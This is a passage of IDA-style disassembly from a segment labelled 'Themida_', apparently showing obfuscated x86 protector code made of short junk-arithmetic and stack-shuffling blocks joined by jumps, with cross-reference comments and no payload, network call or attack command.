		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55A48B:				; CODE XREF: Themida_:00556128j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		jmp	loc_55CBC7
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1DC04F48h
		push	ebp
		jmp	loc_55CC1B
; ---------------------------------------------------------------------------


loc_55A4AD:				; CODE XREF: Themida_:00556E2Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	7D87h
		mov	[esp], ebp
		mov	ebp, 800000h
		push	esi
		mov	esi, ebp
		jmp	loc_55691C
; ---------------------------------------------------------------------------


loc_55A4CE:				; CODE XREF: Themida_:005542F4j
		sub	edi, 6B367DB6h
		add	edi, 29216D38h
		and	edi, 3535414Ch
		add	edi, 181523BAh
		jmp	loc_553060
; ---------------------------------------------------------------------------


loc_55A4EB:				; CODE XREF: Themida_:0055C53Ej
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_556213
; ---------------------------------------------------------------------------


loc_55A507:				; CODE XREF: Themida_:00556717j
		sub	esi, 6178580Ah
		add	esi, eax
		jmp	loc_554B8C
; ---------------------------------------------------------------------------


loc_55A514:				; CODE XREF: Themida_:0055670Aj
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_55DA22
; ---------------------------------------------------------------------------


loc_55A52E:				; CODE XREF: Themida_:00553045j
		sub	eax, 7B7261FDh
		jmp	loc_55226C
; ---------------------------------------------------------------------------


loc_55A538:				; CODE XREF: Themida_:00558557j
		push	ecx
		mov	ecx, 154C0C2Fh
		add	ecx, 49D78FE6h
		jmp	loc_5584A3
; ---------------------------------------------------------------------------


loc_55A549:				; CODE XREF: Themida_:00558001j
		sub	edx, 11661FAAh
		jmp	loc_5593D0
; ---------------------------------------------------------------------------


loc_55A554:				; CODE XREF: Themida_:005522ACj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553EBD
; ---------------------------------------------------------------------------


loc_55A562:				; CODE XREF: Themida_:00552209j
		add	esi, edi
		jmp	loc_559280
; ---------------------------------------------------------------------------


loc_55A569:				; CODE XREF: Themida_:0055240Aj
		mov	ebx, [esp]
		jmp	loc_558B1C
; ---------------------------------------------------------------------------


loc_55A571:				; CODE XREF: Themida_:00557742j
		push	ebp
		mov	ebp, 65E14E97h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_555059
; ---------------------------------------------------------------------------


loc_55A57F:				; CODE XREF: Themida_:00552C2Ej
		add	ax, di
		jmp	loc_55D3F5
; ---------------------------------------------------------------------------


loc_55A587:				; CODE XREF: Themida_:0055997Fj
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_55AD9D
; ---------------------------------------------------------------------------


loc_55A596:				; CODE XREF: Themida_:0055392Cj
		add	ebp, 4
		jmp	loc_55BA03
; ---------------------------------------------------------------------------


loc_55A5A1:				; CODE XREF: Themida_:005563C7j
		mov	esp, [esp]
		mov	[esp], dx
		mov	dh, 5Fh
		add	al, 0E5h
		add	al, dh
		push	ecx
		push	edx
		mov	dh, 3Bh
		mov	ch, 74h
		add	ch, 80h
		sub	ch, 2Ah
		sub	ch, dh
		add	ch, 2Ah
		sub	ch, 80h
		pop	edx
		shl	ch, 3
		shl	ch, 5
		push	ebx
		mov	bh, 0Eh
		jmp	loc_552A1B
; ---------------------------------------------------------------------------


loc_55A5D1:				; CODE XREF: Themida_:005548A8j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_555F94
; ---------------------------------------------------------------------------


loc_55A5EB:				; CODE XREF: Themida_:0055CBC2j
		mov	ebp, 266A782Ch
		add	ecx, ebp
		jmp	loc_55313D
; ---------------------------------------------------------------------------


loc_55A5F7:				; CODE XREF: Themida_:00558F7Ej
		sub	ebx, ecx
		pop	ecx
		add	ebx, 5D0D1AE6h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55406B
; ---------------------------------------------------------------------------


loc_55A60F:				; CODE XREF: Themida_:00558A89j
		pop	ebx
		sub	eax, ecx
		pop	ecx
		jmp	loc_55ADDA
; ---------------------------------------------------------------------------


loc_55A618:				; CODE XREF: Themida_:0055AAB9j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_55BE57
; ---------------------------------------------------------------------------


loc_55A62F:				; CODE XREF: Themida_:0055BEBBj
		add	ebp, 0CD9569DEh
		add	dword ptr [esp+4], 5D160CE4h
		jmp	loc_559C65
; ---------------------------------------------------------------------------


loc_55A642:				; CODE XREF: Themida_:00554693j
		cmp	eax, edx
		jz	loc_55D128
		push	esi
		jmp	loc_55259B
; ---------------------------------------------------------------------------


loc_55A650:				; CODE XREF: Themida_:00557196j
		mov	ebp, [esp]
		jmp	loc_55BC14
; ---------------------------------------------------------------------------


loc_55A658:				; CODE XREF: Themida_:00559641j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1031229Ch
		inc	edi
		add	edi, 0EFCEDD67h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_556AD9
; ---------------------------------------------------------------------------


loc_55A692:				; CODE XREF: Themida_:00559658j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_559F9D
; ---------------------------------------------------------------------------


loc_55A6A6:				; CODE XREF: Themida_:00557524j
		add	bl, ah
		pop	eax
		sub	bl, 0E9h
		movzx	eax, al
		push	small 433Ch
		mov	[esp], ax
		jmp	loc_5538B6
; ---------------------------------------------------------------------------


loc_55A6BC:				; CODE XREF: Themida_:0055D5E9j
		add	esp, 2
		jmp	loc_556D5E
; ---------------------------------------------------------------------------


loc_55A6C4:				; CODE XREF: Themida_:00552EA4j
		dec	edi
		sub	edi, 1324354Ah
		sub	edi, 50AA5B57h
		xor	edi, 69974419h
		push	2B7h
		mov	[esp], esi
		push	edx
		mov	edx, 28BD1C14h
		or	edx, 491E0CB2h
		xor	edx, 8ED0DCCh
		sub	edx, 3BEB4818h
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 0FFE72EA6h
		mov	esi, edx
		pop	edx
		and	esi, 579A5EE8h
		sub	esi, 47A2025Ch
		add	esi, 1
		add	esi, 0EDDF7C63h
		xor	edi, esi
		jmp	loc_55DB72
; ---------------------------------------------------------------------------


loc_55A724:				; CODE XREF: Themida_:0055268Bj
		sub	al, dh
		pop	edx
		push	cx
		jmp	loc_557163
; ---------------------------------------------------------------------------


loc_55A72E:				; CODE XREF: Themida_:005564B4j
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55A74B:				; CODE XREF: Themida_:00555A77j
		mov	ebp, 6D334E43h
		mov	edi, ebp
		pop	ebp
		push	edi
		mov	edi, 2A435D44h
		sub	edi, 6BBB787Ah
		neg	edi
		add	edi, 4CD41AC4h
		not	edi
		sub	edi, 0DEE71848h
		mov	edx, edi
		pop	edi
		add	edx, edi
		jmp	loc_557E16
; ---------------------------------------------------------------------------


loc_55A779:				; CODE XREF: Themida_:00559771j
		add	dword ptr [edi+20h], 2612D0CAh
		or	dword ptr [edi+20h], 61C64103h
		not	dword ptr [edi+20h]
		jmp	loc_551C72
; ---------------------------------------------------------------------------


loc_55A78F:				; CODE XREF: Themida_:0055664Bj
		mov	esi, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 270EC163h
		sub	esi, 2E477554h
		jmp	loc_55D8FA
; ---------------------------------------------------------------------------


loc_55A7B8:				; CODE XREF: Themida_:00552738j
		mov	ebp, 208B5225h
		jmp	loc_55961E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_55720D
; ---------------------------------------------------------------------------


loc_55A7CE:				; CODE XREF: Themida_:00555E5Fj
		push	5EF8h
		jmp	loc_55877C
; ---------------------------------------------------------------------------


loc_55A7D8:				; CODE XREF: Themida_:005590C9j
		push	ebp
		mov	ebp, 18715DB6h
		shl	ebp, 2
		jmp	loc_55B2E6
; ---------------------------------------------------------------------------


loc_55A7E6:				; CODE XREF: Themida_:00557FDFj
		pop	esp
		add	ebx, 4
		push	eax
		push	ebx
		push	7C31523Eh
		jmp	loc_552E6E
; ---------------------------------------------------------------------------


loc_55A7F9:				; CODE XREF: Themida_:00559877j
		add	esp, 4
		push	edx
		jmp	loc_5560D6
; ---------------------------------------------------------------------------


loc_55A802:				; CODE XREF: Themida_:0055CC52j
		pop	ebx
		jmp	loc_55D434
; ---------------------------------------------------------------------------


loc_55A808:				; CODE XREF: Themida_:00556AA3j
		mov	bl, dh
		pop	edx
		pop	eax
		mov	ch, [esp+2]
		mov	[esp+2], bl
		mov	bx, [esp]
		jmp	loc_559A3F
; ---------------------------------------------------------------------------


loc_55A81D:				; CODE XREF: Themida_:00557FF0j
		xchg	eax, [esp]
		jmp	loc_55C1F5
; ---------------------------------------------------------------------------


loc_55A825:				; CODE XREF: Themida_:005586BCj
		pop	edx


loc_55A826:				; CODE XREF: Themida_:0055483Cj
		push	eax
		xor	dword ptr [esp], 64176C55h
		mov	eax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_55B221
; ---------------------------------------------------------------------------


loc_55A847:				; CODE XREF: Themida_:0055A1A3j
		mov	ebp, [esp]
		jmp	loc_5590D9
; ---------------------------------------------------------------------------


loc_55A84F:				; CODE XREF: Themida_:00553D21j
		pop	dword ptr [esp]
		jmp	loc_556F7E
; ---------------------------------------------------------------------------


loc_55A857:				; CODE XREF: Themida_:00556959j
		add	eax, 32F47F00h
		sub	eax, ebx
		sub	eax, 32F47F00h
		push	edx
		mov	edx, 76C87C28h
		add	eax, edx
		jmp	loc_552690
; ---------------------------------------------------------------------------


loc_55A870:				; CODE XREF: Themida_:005521BBj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	7A17h
		mov	[esp], ecx
		push	ebx
		push	709h
		mov	[esp], ebp
		jmp	loc_556977
; ---------------------------------------------------------------------------


loc_55A893:				; CODE XREF: Themida_:00558B70j
		push	edx
		mov	edx, 60DC23E6h
		push	eax
		mov	eax, 2CDD5582h
		not	eax
		and	eax, 0DA77392h
		or	eax, 78D45121h
		and	eax, 2D0F3D1Dh
		neg	eax
		sub	eax, 0CA456F8Ch
		sub	edx, eax
		pop	eax
		shr	edx, 3
		and	edx, 4D65772Ch
		and	edx, 3F661738h
		xor	edx, 8041004h
		jmp	loc_55C030
; ---------------------------------------------------------------------------


loc_55A8D4:				; CODE XREF: Themida_:0055B22Aj
		pop	esp
		push	edx
		jmp	loc_559D89
; ---------------------------------------------------------------------------


loc_55A8DB:				; CODE XREF: Themida_:0055AEB2j
		not	eax
		xor	eax, 5D7163FBh
		neg	eax
		add	eax, 0AA7E4424h
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		jmp	loc_556315
; ---------------------------------------------------------------------------


loc_55A8F3:				; CODE XREF: Themida_:0055B1AEj
		mov	eax, ebx
		pop	ebx
		sub	ebx, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55275E
; ---------------------------------------------------------------------------


loc_55A912:				; CODE XREF: Themida_:0055211Aj
		shl	ah, 2
		push	edx
		mov	dh, 7
		and	dh, 15h
		jmp	loc_55AAED
; ---------------------------------------------------------------------------


loc_55A920:				; CODE XREF: Themida_:00553C12j
		add	bh, 2Eh
		push	eax
		mov	al, 32h
		add	al, 9Eh
		inc	al
		jmp	loc_551923
; ---------------------------------------------------------------------------


loc_55A92F:				; CODE XREF: Themida_:0055C1F9j
		mov	edx, esp
		push	edi
		push	ebp
		push	50F44748h
		pop	ebp
		jmp	loc_55C8F8
; ---------------------------------------------------------------------------


loc_55A93E:				; CODE XREF: Themida_:0055D9F3j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_553754
; ---------------------------------------------------------------------------


loc_55A949:				; CODE XREF: Themida_:00553CD9j
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_55BE77
; ---------------------------------------------------------------------------


loc_55A958:				; CODE XREF: Themida_:00558239j
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		push	3B44h
		mov	[esp], eax
		mov	eax, 2
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_554307
; ---------------------------------------------------------------------------


loc_55A988:				; CODE XREF: Themida_:0055597Ej
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_557512
; ---------------------------------------------------------------------------


loc_55A992:				; CODE XREF: Themida_:005588D6j
		add	eax, 298D4D04h
		jmp	loc_556EC3
; ---------------------------------------------------------------------------


loc_55A99C:				; CODE XREF: Themida_:005591FFj
		pop	esp
		push	ebx
		push	esi
		mov	esi, 58CC6F24h
		mov	ebx, esi
		pop	esi
		or	ebx, 549D01BFh
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		dec	ebx
		jmp	loc_55856D
; ---------------------------------------------------------------------------


loc_55A9B8:				; CODE XREF: Themida_:00558991j
		shl	dh, 4
		neg	dh
		sub	dh, 0B4h
		mov	cl, dh
		pop	edx
		add	al, 0D3h
		add	al, 0AFh
		sub	al, cl
		sub	al, 0AFh
		sub	al, 0D3h
		pop	ecx
		sub	al, 0ABh
		add	al, 0Bh
		jmp	near ptr unk_551D47
; ---------------------------------------------------------------------------


loc_55A9D7:				; CODE XREF: Themida_:005572DFj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_556A82
; ---------------------------------------------------------------------------


loc_55A9E5:				; CODE XREF: Themida_:0055A9F5j
		pop	esp
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5559AF
; ---------------------------------------------------------------------------


loc_55A9F2:				; CODE XREF: Themida_:005536C0j
		xchg	eax, [esp]
		jmp	loc_55A9E5
; ---------------------------------------------------------------------------


loc_55A9FA:				; CODE XREF: Themida_:00551C29j
		add	ecx, 97EE9D48h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55D827
; ---------------------------------------------------------------------------


loc_55AA08:				; CODE XREF: Themida_:0055B8FAj
		push	7B84h
		jmp	loc_5522A8
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_555B7B
; ---------------------------------------------------------------------------


loc_55AA18:				; CODE XREF: Themida_:00555650j
		xor	eax, ecx
		jmp	loc_5594A9
; ---------------------------------------------------------------------------


loc_55AA1F:				; CODE XREF: Themida_:0055C70Cj
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_5595CA
; ---------------------------------------------------------------------------


loc_55AA2B:				; CODE XREF: Themida_:0055D542j
		mov	dl, ch
		pop	ecx
		xor	dl, 0E3h
		push	ecx
		mov	ch, 0D3h
		inc	ch
		xor	ch, 6Eh
		sub	ch, 77h
		xor	dl, ch
		pop	ecx
		jmp	loc_5581BC
; ---------------------------------------------------------------------------


loc_55AA44:				; CODE XREF: Themida_:0055A26Cj
		pop	esp
		sub	ecx, 3B699E3Ah
		jmp	loc_55789F
; ---------------------------------------------------------------------------


loc_55AA50:				; CODE XREF: Themida_:00553253j
		xor	eax, ebx
		pop	ebx
		jmp	loc_551AC4
; ---------------------------------------------------------------------------


loc_55AA58:				; CODE XREF: Themida_:00557874j
		mov	dx, [esp]
		add	esp, 2
		xor	ch, 31h
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55AA7B:				; CODE XREF: Themida_:00555D3Bj
		add	esi, 1BFB2252h
		pop	ebp
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_55AEC9
; ---------------------------------------------------------------------------


loc_55AA8C:				; CODE XREF: Themida_:00559D84j
		push	ebp
		jmp	loc_55BCCA
; ---------------------------------------------------------------------------


loc_55AA92:				; CODE XREF: Themida_:00557E11j
		push	ecx
		jmp	loc_554334
; ---------------------------------------------------------------------------


loc_55AA98:				; CODE XREF: Themida_:0055552Aj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55339C
; ---------------------------------------------------------------------------


loc_55AAA8:				; CODE XREF: Themida_:0055374Fj
		pop	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55A618
; ---------------------------------------------------------------------------


loc_55AABE:				; CODE XREF: Themida_:00552F19j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	72Dh
		jmp	loc_558528
; ---------------------------------------------------------------------------


loc_55AAD0:				; CODE XREF: Themida_:00554F1Ej
		add	ebx, edi
		pop	edi
		jmp	loc_554095
; ---------------------------------------------------------------------------


loc_55AAD8:				; CODE XREF: Themida_:00551DA9j
		xor	edi, 0B51044DAh
		mov	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		add	edi, edx
		pop	edx
		push	eax
		jmp	loc_552D39
; ---------------------------------------------------------------------------


loc_55AAED:				; CODE XREF: Themida_:0055A91Bj
		neg	dh
		dec	dh
		add	dh, 0DFh
		add	dh, 8Fh
		xor	ah, dh
		pop	edx
		jmp	loc_55B120
; ---------------------------------------------------------------------------


loc_55AAFF:				; CODE XREF: Themida_:00552CDFj
		pop	ebp
		add	ecx, 4
		jmp	loc_55B27E
; ---------------------------------------------------------------------------


loc_55AB08:				; CODE XREF: Themida_:0055CC40j
		pop	eax
		push	0E4Dh
		jmp	loc_558068
; ---------------------------------------------------------------------------


loc_55AB13:				; CODE XREF: Themida_:0055B2ADj
		push	768Bh
		jmp	loc_552EA9
; ---------------------------------------------------------------------------


loc_55AB1D:				; CODE XREF: Themida_:005571DDj
		pop	edi
		add	edx, 0FFBEF7E2h
		add	ebp, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	4E2Fh
		jmp	loc_552A60
; ---------------------------------------------------------------------------


loc_55AB4D:				; CODE XREF: Themida_:005542AAj
		mov	[esp], ax
		push	ebx
		mov	bl, 7Ch
		mov	al, bl
		mov	ebx, [esp]
		jmp	loc_551FD8
; ---------------------------------------------------------------------------


loc_55AB5E:				; CODE XREF: Themida_:00552233j
		add	esp, 4
		jmp	loc_55BC47
; ---------------------------------------------------------------------------


loc_55AB69:				; CODE XREF: Themida_:00554156j
		mov	[esp], ebx
		mov	ebx, 1C4E2440h
		neg	ebx
		and	ebx, 1FA34C4Eh
		sub	ebx, 35334F37h
		shl	ebx, 6
		jmp	loc_552A00
; ---------------------------------------------------------------------------


loc_55AB87:				; CODE XREF: Themida_:00557E58j
		xchg	ecx, [esp]
		pop	esp
		div	cx
		jmp	loc_55272A
; ---------------------------------------------------------------------------


loc_55AB93:				; CODE XREF: Themida_:0055B81Dj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55B4CC
; ---------------------------------------------------------------------------


loc_55ABA4:				; CODE XREF: Themida_:0055362Cj
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_557C7F
; ---------------------------------------------------------------------------


loc_55ABB7:				; CODE XREF: Themida_:00551F1Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_55654E
; ---------------------------------------------------------------------------


loc_55ABD0:				; CODE XREF: Themida_:0055BD5Cj
		sub	ecx, 0E10C8F5Fh
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55ACFC
; ---------------------------------------------------------------------------


loc_55ABE3:				; CODE XREF: Themida_:0055C90Bj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C1DB
; ---------------------------------------------------------------------------


loc_55ABEE:				; CODE XREF: Themida_:00553C81j
		push	eax
		mov	eax, 6C9334D6h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5556E0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	35F2h
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 444D6BF6h
		not	ebp
		jmp	loc_5532A0
; ---------------------------------------------------------------------------


loc_55AC1C:				; CODE XREF: Themida_:00551AF0j
		pop	esi
		inc	ebx
		shl	ebx, 3
		add	ebx, 0F0150BAh
		sub	ebx, 6C3A3FEBh
		push	ebx
		mov	ebx, 7FE35075h
		jmp	loc_55D6CF
; ---------------------------------------------------------------------------


loc_55AC38:				; CODE XREF: Themida_:00556549j
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 26A964D0h
		jmp	loc_55C425
; ---------------------------------------------------------------------------


loc_55AC47:				; CODE XREF: Themida_:00559BB8j
		add	eax, 4B12D22Ch
		jmp	loc_5533F4
; ---------------------------------------------------------------------------


loc_55AC51:				; CODE XREF: Themida_:00553116j
		xchg	ebx, esi
		and	esi, 2B3502C7h
		jmp	loc_555C60
; ---------------------------------------------------------------------------


loc_55AC5E:				; CODE XREF: Themida_:0055749Dj
		add	esp, 4
		push	ecx
		jmp	loc_554718
; ---------------------------------------------------------------------------


loc_55AC6A:				; CODE XREF: Themida_:0055B514j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55C9EC
; ---------------------------------------------------------------------------


loc_55AC77:				; CODE XREF: Themida_:00555DBCj
		sub	eax, ebx
		pop	ebx
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55BB53
; ---------------------------------------------------------------------------


loc_55AC89:				; CODE XREF: Themida_:0055687Aj
		push	2CB7h
		jmp	loc_556BD9
; ---------------------------------------------------------------------------


loc_55AC93:				; CODE XREF: Themida_:005543F9j
		push	36865BA8h
		pop	eax
		xor	eax, 236F34A8h
		jmp	loc_55DCE3
; ---------------------------------------------------------------------------


loc_55ACA3:				; CODE XREF: Themida_:00552363j
		not	ebp
		push	edi
		mov	edi, 478D0075h
		jmp	loc_554602
; ---------------------------------------------------------------------------


loc_55ACB0:				; CODE XREF: Themida_:00556CCEj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_5521B8
; ---------------------------------------------------------------------------


loc_55ACC4:				; CODE XREF: Themida_:0055BBABj
		mov	ch, 35h
		jmp	loc_554566
; ---------------------------------------------------------------------------


loc_55ACCB:				; CODE XREF: Themida_:00553601j
		push	7FAh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557D4D
; ---------------------------------------------------------------------------


loc_55ACE0:				; CODE XREF: Themida_:0055286Dj
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_552AB6
; ---------------------------------------------------------------------------


loc_55ACEC:				; CODE XREF: Themida_:00551FCBj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_557DE4
; ---------------------------------------------------------------------------


loc_55ACFC:				; CODE XREF: Themida_:0055ABDEj
		add	edi, ecx
		jmp	loc_55D2F1
; ---------------------------------------------------------------------------


loc_55AD03:				; CODE XREF: Themida_:0055859Ej
		push	esp
		pop	esi
		push	ebp
		jmp	loc_55D0FE
; ---------------------------------------------------------------------------


loc_55AD0B:				; CODE XREF: Themida_:005583F1j
		pop	eax
		add	[esp+4], eax
		push	eax
		mov	eax, 0C66360Dh
		jmp	loc_556FA8
; ---------------------------------------------------------------------------


loc_55AD1B:				; CODE XREF: Themida_:00556F6Bj
		pop	edx
		shl	ecx, 1
		add	ecx, 9009AE23h
		jmp	loc_552736
; ---------------------------------------------------------------------------


loc_55AD29:				; CODE XREF: Themida_:005588BCj
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	esp
		jmp	loc_557B55
; ---------------------------------------------------------------------------


loc_55AD37:				; CODE XREF: Themida_:0055739Bj
		sub	eax, 3E8634Bh
		shr	eax, 4
		shl	eax, 5
		inc	eax
		sub	eax, 0F904D97h
		push	edi
		mov	edi, 1EB82B89h
		neg	edi
		or	edi, 4408735Fh
		or	edi, 5DDC1CC5h
		jmp	loc_552F5D
; ---------------------------------------------------------------------------


loc_55AD61:				; CODE XREF: Themida_:0055B9C5j
		sub	ebx, edi
		jmp	loc_557AB7
; ---------------------------------------------------------------------------


loc_55AD68:				; CODE XREF: Themida_:00553777j
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		sub	esi, ebp
		jmp	loc_557FB3
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_55BAE3
; ---------------------------------------------------------------------------


loc_55AD9D:				; CODE XREF: Themida_:0055A591j
		pop	esi
		add	ecx, 4
		jmp	loc_55696C
; ---------------------------------------------------------------------------


loc_55ADA6:				; CODE XREF: Themida_:0055D159j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		jmp	loc_5541E8
; ---------------------------------------------------------------------------


loc_55ADB5:				; CODE XREF: Themida_:0055CA04j
		sub	edx, 0CE3A1CE4h
		add	edi, 181704FDh
		add	edi, edx
		sub	edi, 181704FDh
		pop	edx
		push	esi
		push	ecx
		jmp	loc_557BC3
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		jmp	loc_55B5E5
; ---------------------------------------------------------------------------


loc_55ADDA:				; CODE XREF: Themida_:0055A613j
		push	ecx
		jmp	loc_55D261
; ---------------------------------------------------------------------------


loc_55ADE0:				; CODE XREF: Themida_:0055766Cj
		mov	cl, al
		jmp	loc_55538B
; ---------------------------------------------------------------------------


loc_55ADE7:				; CODE XREF: Themida_:00554429j
		or	ecx, 21F63349h
		jmp	loc_55BD59
; ---------------------------------------------------------------------------


loc_55ADF2:				; CODE XREF: Themida_:0055A45Aj
		push	small word ptr [esp+2]
		pop	dx
		pop	small word ptr [esp]
		not	dx
		jmp	loc_5597AC
; ---------------------------------------------------------------------------


loc_55AE05:				; CODE XREF: Themida_:005562B6j
		or	ebp, 444765DFh
		xor	ebp, 7DBA47B1h
		jmp	loc_556C4C
; ---------------------------------------------------------------------------


loc_55AE16:				; CODE XREF: Themida_:0055302Dj
		pop	eax
		push	1B9Ah
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55D145
; ---------------------------------------------------------------------------
		push	1F6Fh
		jmp	loc_55C56D
; ---------------------------------------------------------------------------


loc_55AE31:				; CODE XREF: Themida_:00552326j
		xchg	ah, cl
		dec	ah
		jmp	loc_5552D8
; ---------------------------------------------------------------------------


loc_55AE3A:				; CODE XREF: Themida_:0055701Dj
		movzx	eax, al
		mov	dx, [esp]
		push	2512h
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55938B
; ---------------------------------------------------------------------------


loc_55AE68:				; CODE XREF: Themida_:0055329Bj
		push	esi
		mov	esi, esp
		jmp	loc_556F3C
; ---------------------------------------------------------------------------


loc_55AE70:				; CODE XREF: Themida_:0055DAE3j
		push	ebx
		mov	bl, 6
		xor	dh, bl
		pop	ebx
		neg	dh
		xor	dh, 0B7h
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, 41h
		jmp	loc_5585D4
; ---------------------------------------------------------------------------


loc_55AE8D:				; CODE XREF: Themida_:0055744Bj
		and	ebp, 3E21199Dh
		add	ebp, 643029BBh
		and	ebp, 1936AA8h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0A4A74E0h
		and	eax, 7C9070B9h
		jmp	loc_55A8DB
; ---------------------------------------------------------------------------


loc_55AEB7:				; CODE XREF: Themida_:00557A68j
		pop	ebx
		add	bp, 56FBh
		sub	bx, bp
		pop	ebp
		sub	bx, ax
		jmp	loc_553703
; ---------------------------------------------------------------------------


loc_55AEC9:				; CODE XREF: Themida_:0055AA87j
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_55DA58
; ---------------------------------------------------------------------------


loc_55AEDD:				; CODE XREF: Themida_:00559D6Aj
		push	ebx
		jmp	loc_55D3FE
; ---------------------------------------------------------------------------


loc_55AEE3:				; CODE XREF: Themida_:0055BF21j
		push	753Ah
		mov	[esp], eax
		mov	eax, 33820829h
		shl	eax, 5
		jmp	loc_557938
